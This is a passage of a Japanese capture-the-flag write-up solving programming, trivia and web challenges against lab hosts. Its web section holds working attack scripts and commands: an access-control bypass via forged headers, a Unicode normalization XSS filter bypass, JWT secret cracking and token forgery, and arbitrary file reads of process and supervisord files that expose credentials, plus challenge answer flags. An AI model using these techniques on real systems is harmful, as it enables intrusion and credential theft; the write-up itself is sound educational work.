from lxml import etree tree = etree.fromstring(open('sweets/sweets.xml', 'rb').read()) for batch in tree.findall('./*'): a = batch.findall('*') icecreams = [x for x in a if 'icecream' in x.tag] if len(icecreams) < 2: continue amounts = [float(x.attrib.get('{http://xml.vlc-cybercontest.com/icecream}amount')[:-1]) for x in icecreams] if any(x for x in amounts if x <= 105.0): continue candies = [x for x in a if 'candy' in x.tag] weights = [float(x.attrib.get('{http://xml.vlc-cybercontest.com/candy}weight')[:-1]) for x in candies] if sum(weights) < 28.0: continue shapes = [x.attrib.get('{http://xml.vlc-cybercontest.com/candy}shape') for x in candies] if len(set(shapes)) < 5: continue cookies = [x for x in a if 'cookie' in x.tag] print([ x.attrib.get('{http://xml.vlc-cybercontest.com/cookie}kind') for x in cookies ]) print(etree.tostring(batch))
まだ候補はあるけれども、ここまでくれば後は手作業で十分だ。
flag{sZ8d5FbntXbL9uwP}
[Programming 30] Twisted Text (74 solves)
添付の画像 Twisted.png は、画像の中心からの距離 r [pixel] に対して
θ = - (r ^ 2) / (250 ^ 2) [rad]
だけ回転されています(反時計回りを正とします)。逆変換を施してフラグを復元してください。
解答形式:flag{XXXXXXX} (半角英数字)
添付ファイル: Twisted.png
これも実装ゲーだ。色々雑だけれども、ごちゃごちゃしていたらフラグが得られた。
import math from PIL import Image im = Image.open('Twisted.png').convert('RGB') w, h = im.size im2 = Image.new('RGB', (w * 2, h * 2), (255, 255, 255)) pix = im.load() pix2 = im2.load() cx, cy = w // 2, h // 2 for y in range(h): for x in range(w): dx = cx - x dy = cy - y r = math.sqrt(dx ** 2 + dy ** 2) t = - (r ** 2) / (250 ** 2) x2 = int(dx * math.cos(t) - dy * math.sin(t) + cx) y2 = int(dx * math.sin(t) + dy * math.cos(t) + cy) try: pix2[x2 + cx, y2 + cy] = pix[x, y] except: pass im2.show() im2.save('result.png')
flag{LHZGhq3WTXvo}
[Trivia 10] The Original Name of AES (284 solves)
Advanced Encryption Standard (AES) は、公募によって策定された標準暗号です。 現在採用されているアルゴリズムの候補名は何だったでしょうか?
flag{XXXXXXXX} (半角英字)
調べるまでもなく、Rijndaelだ。
flag{Rijndael}
[Trivia 10] CVE Record of Lowest Number (221 solves)
最も番号が若い CVE レコードのソフトウェアパッケージにおいて、脆弱性が指摘された行を含むソースファイル名は何でしょう?
解答形式:flag{XXXXXXXXX} (半角英数・記号)
"oldest cve" のようなクエリで検索するとCVE-1999-0001がヒットする。"ip_input.c in BSD-derived TCP/IP implementations allows remote attackers to cause a denial of service (crash or hang) via crafted packets." らしい。
flag{ip_input.c}
[Trivia 10] MFA Factors (273 solves)
多要素認証に使われる本人確認のための3種類の情報の名前は何でしょう?それぞれ漢字2文字で、50音の辞書順で並べて「・」で区切ってお答えください。
解答形式:flag{○○・○○・○○} (それぞれ漢字2文字)
調べるまでもない。
flag{所持・生体・知識}
[Web 10] Browsers Have Local Storage (260 solves)
http://10.10.10.30 にアクセスしてフラグを見つけ出し、解答してください。
解答形式:FLAG{************}
与えられたURLにアクセスする…が、何も表示されない。問題名的にlocal storageにあるのだろうと、ソースも見ずにDevToolsを開き localStorage
を見る。Answer
というキーにフラグが保管されていた。
FLAG{Th1s_1s_The_fIrst_flag}
[Web 10] Are You Introspective? (26 solves)
http://10.10.10.31 にアクセスしてフラグを見つけ出し、解答してください。 このサイトでは GraphQL が使用されているため、まずは endpoint を探す必要があります。
解答形式:FLAG{************}
与えられたURLにアクセスすると、Cannot GET /
とExpressでルートを設定していないときのエラーが表示される。問題文の通り、まずはGraphQLのエンドポイントを見つける必要があるらしい。雑にgobusterで殴ると、/graphql/v1
が見つかった。
$ ~/tools/gobuster/gobuster dir -u http://10.10.10.31 -w ~/tools/gobuster/dsplusleakypaths.txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.31 [+] Method: GET [+] Threads: 10 [+] Wordlist: /home/st98/tools/gobuster/dsplusleakypaths.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /graphql/v1 (Status: 400) [Size: 53] Progress: 3521 / 3522 (99.97%) =============================================================== Finished ===============================================================
ということで、ここでintrospectionをしたい。このページを開きつつ適当なスクリプトを利用して、Apollo Sandboxをこのコンテキストで動かす。DevToolsのNetworkタブを見ていると、introspectionをしているパケットが見つかる。そのレスポンスにフラグが含まれていた。
… "fields": [ { "name": "hello", "description": "FLAG{Is_this_your_first_time_using_GraphQL}", "args": [], "type": { "kind": "SCALAR", …
FLAG{Is_this_your_first_time_using_GraphQL}
[Web 20] Insecure (95 solves)
あなたは社内ポータルサイト(http://10.10.10.33)の管理者に依頼されて、profile ページが安全に保護されているかチェックすることになりました。 以下のログイン情報を用いてサイトにログインし、管理者の profile ページに記載されている秘密の情報を見つけてください。 なお、依頼の際に「管理者ページのidは0だよ」というヒントをもらっています。
【ログイン情報】
User: testUser
Password: diejuthdkfi14
解答形式:FLAG{************}
与えられたURLにアクセスすると、次のようにログインフォームが表示された。与えられたcredsでログインすると、色々なお知らせが表示され、そして最後にプロフィールの閲覧のためのリンクがある。
/show_profile.php?id=1
へアクセスすると、/profile_success.php
にリダイレクトされ、現在ログインしているユーザのプロフィールが表示された。/show_profile.php?id=0
で管理者のプロフィールが得られるのではないかと思ったが「他人のprofileを覗かないでください」と怒られてしまった。
/show_profile.php?id=0
から /profile_error.php
へリダイレクトされているようなので、あえて流されず、/profile_error.php
でなく /profile_success.php
にアクセスするとどうなるか。今度は /profile_success.php
から /profile_error.php
へリダイレクトされてしまった。
ほかの要素も検証されているのではないかと考える。適当にUser-Agentやリファラを設定してみたところ、今度は管理者のプロフィールが閲覧できた。
import httpx with httpx.Client(base_url='http://10.10.10.33', headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36' }) as client: client.post('/login.php', data={ 'userID': 'testUser', 'password': 'diejuthdkfi14' }) r = client.get('/dashboard.php') r = client.get('/show_profile.php?id=0', headers={'Referer': 'http://10.10.10.33/dashboard.php'}) r = client.get('/profile_success.php', headers={'Referer': 'http://10.10.10.33/dashboard.php'}) print(r, r.text)
FLAG{1qaz7ujmbgt5}
[Web 20] Variation (6 solves)
http://10.10.10.32 のWebサーバーで下記形式の XSS を発生させ、フラグを入手してください。
<script>alert(1)</script>
解答形式:FLAG{************}
与えられたURLにアクセスすると、次のようなフォームが表示される。
適当に <s>test</s>
を入力すると、/greet?name=<s>test<%2Fs>
へリダイレクトされる。が、次のように <
と >
が削除されている様子がわかる。
なんだこれはと思いつつ適当に色々入力していると、1@
のように「全角」で英数字を入力すると、1@
とASCIIの英数字になっていた。ほかの記号でも同様だが、<>
は削除されてしまっている。
雑にブルートフォースし、<
, >
に変換されるような文字がないか探す。
import urllib.parse import httpx with httpx.Client(base_url='http://10.10.10.32/') as client: step = 1000 for i in range(0, 0x100000, step): tmp = '' for c in range(i, i + step): try: tmp += chr(c) except: pass try: r = client.get('/greet', params={ 'name': tmp }) except: continue t = r.content[ r.content.index(b'<h1>')+4:r.content.index(b'</h1>') ] if b'<' in t: print(i) print('[tmp]', tmp) print('[tmp]', urllib.parse.quote(tmp)) print('t', t, t.index(b'<'))
U+FE64, U+FE65がそれだった。/greet?name=﹤script﹥alert(1)﹤/script﹥
でアラートが表示され、フラグが出力された。<
, >
, <
(U+FF1C), >
(U+FF1E) があれば削除 → 正規化(?)という順番で処理したためにこうなったという感じだろうか。
FLAG{dfa23afjkl98}
[Web 30] Bruteforce (25 solves)
http://10.10.10.34:8000 からフラグを回収して下さい。 http://10.10.10.34:5000 で動作するプログラムの内容は、ctf-web-hard.pyに記載されています。
解答形式:FLAG{************}
添付ファイル: ctf-web-hard.py
8000/tcpにアクセスするとBASIC認証が要求された。ひとまず5000/tcpの方を見ていく。このソースコードであるという ctf-web-hard.py
は次の通り。/protected
にはPOSTされたJSONの filepath
経由での自明なPath Traversalが存在している。いや、別にtraverseはしてないし、そもそも admin
しか使えないようにされているから意図した機能なのか…?
今言ったように admin
であるかどうかがチェックされているけれども、これは Authorization
ヘッダから与えられたJWTを参照している。このJWTは /login
でログインすることで得られるのだけれども、当然ながら admin
のパスワードも、JWTを偽造するために必要な JWT_SECRET_KEY
も伏せられている。
from flask import Flask from flask import jsonify from flask import request from flask_jwt_extended import create_access_token from flask_jwt_extended import get_jwt_identity from flask_jwt_extended import jwt_required from flask_jwt_extended import JWTManager app = Flask(__name__) app.config["JWT_SECRET_KEY"] = "*************" app.config["JWT_ACCESS_TOKEN_EXPIRES"] = False app.config["JWT_REFRESH_TOKEN_EXPIRES"] = False app.config["JWT_COOKIE_CSRF_PROTECT"] = False app.config["JWT_ENCODE_NBF"] = False jwt = JWTManager(app) @app.route("/login", methods=["POST"]) def login(): users = {} users['test'] = 'test' users['admin'] = '*************' username = request.json.get("username", None) print(username) password = request.json.get("password", None) print(password) if (not username in users) or (password != users[username]): return jsonify({"msg": "Bad username or password"}), 401 access_token = create_access_token(identity=username) return jsonify(access_token=access_token) @app.route("/protected", methods=["POST"]) @jwt_required() def protected(): current_user = get_jwt_identity() if current_user == "test" : return "ummm...." elif current_user == "admin" : filepath = request.json.get("filepath",None) f = open(filepath,'r') filedata = f.read() f.close() return jsonify(filedata), 200 if __name__ == "__main__": app.run(host="0.0.0.0")
ではどうするか。問題名の通り "Bruteforce" をすればよい。つまり、まずは test
/ test
でログインして正規のJWTを得た上で、これがHS256であることを利用して鍵をブルートフォースしていく。jwt-cracker
を使って、rockyou.txt
に含まれる文字列を鍵候補としてブルートフォースすると、conankun
が鍵であるとわかった。
$ npx jwt-cracker -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODgyMjAwMiwianRpIjoiMDFhYzk0NzktOGRiNC00OTFjLWE3ZTAtMWM3ODIyMDgxNGFlIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QifQ.g9cx0-Ki5CkaaZ-A_BulMLQsR7QOl26yxSiwojqoGDM -d /usr/share/dict/rockyou.txt Attempts: 100000 (529K/s last attempt was 'sagar') … Attempts: 1600000 (1.4M/s last attempt was 'killmefers') Attempts: 1700000 (1.4M/s last attempt was 'j3sucr1st0') Attempts: 1800000 (1.4M/s last attempt was 'flirt92') SECRET FOUND: conankun Time taken (sec): 1.307 Total attempts: 1840000
jwt.ioと得られた鍵を使って、先程の正当なJWTの sub
クレームを admin
に書き換え、JWTを偽造する。これで /protected
を叩けるようになった。
ただ、これで /etc/passwd
, /proc/self/cmdline
, /var/www/ctf-web-hard.py
等を見てみたものの、何も面白い情報は得られなかった。ふと、8000/tcpのサービスは同じマシンで動いており、procfsからそのプロセスの情報が得られるのではないかと考えた。どうせDockerで動いており、またPID 1で何かしら動いているだろう、ダメならPIDをインクリメントしていこうと考えたが、PID 1でいきなり当たった。その cmdline
を見てみるとビンゴ、/etc/supervisord.conf
を読んで何やら動かしている様子が分かる。このファイルから、BASIC認証のためのcredsが得られた。
$ curl -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODgyMjAwMiwianRpIjoiMDFhYzk0NzktOGRiNC00OTFjLWE3ZTAtMWM3ODIyMDgxNGFlIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIn0.EmMzXW702TluCNsCkuOBDB1mOA-CGgUfGgAUnWqVAgo" "http://10.10.10.34:5000/protected" -d '{"filepath": "/proc/1/cmdline"}' "/usr/bin/python3\u0000/usr/bin/supervisord\u0000-c\u0000/etc/supervisord.conf\u0000" $ curl -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODgyMjAwMiwianRpIjoiMDFhYzk0NzktOGRiNC00OTFjLWE3ZTAtMWM3ODIyMDgxNGFlIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIn0.EmMzXW702TluCNsCkuOBDB1mOA-CGgUfGgAUnWqVAgo" "http://10.10.10.34:5000/protected" -d '{"filepath": "/etc/supervisord.conf"}' "[supervisord]\nnodaemon=true\n\n[program:ctf-web-hard]\ncommand=/usr/bin/python3 /var/www/ctf-web-hard.py\nautostart=true\nautorestart=true\n\n[program:http_server_auth]\ncommand=/usr/bin/python3 /var/www/ZQ4zgfia2Kfi/http_server_auth.py --username admin --password EG5f9nPCpKxk\nautostart=true\nautorestart=true \n"
このcredsで5000/tcpにアクセスすると、ディレクトリ名としてフラグが含まれていた。
FLAG{pLi5lfm8hJK7}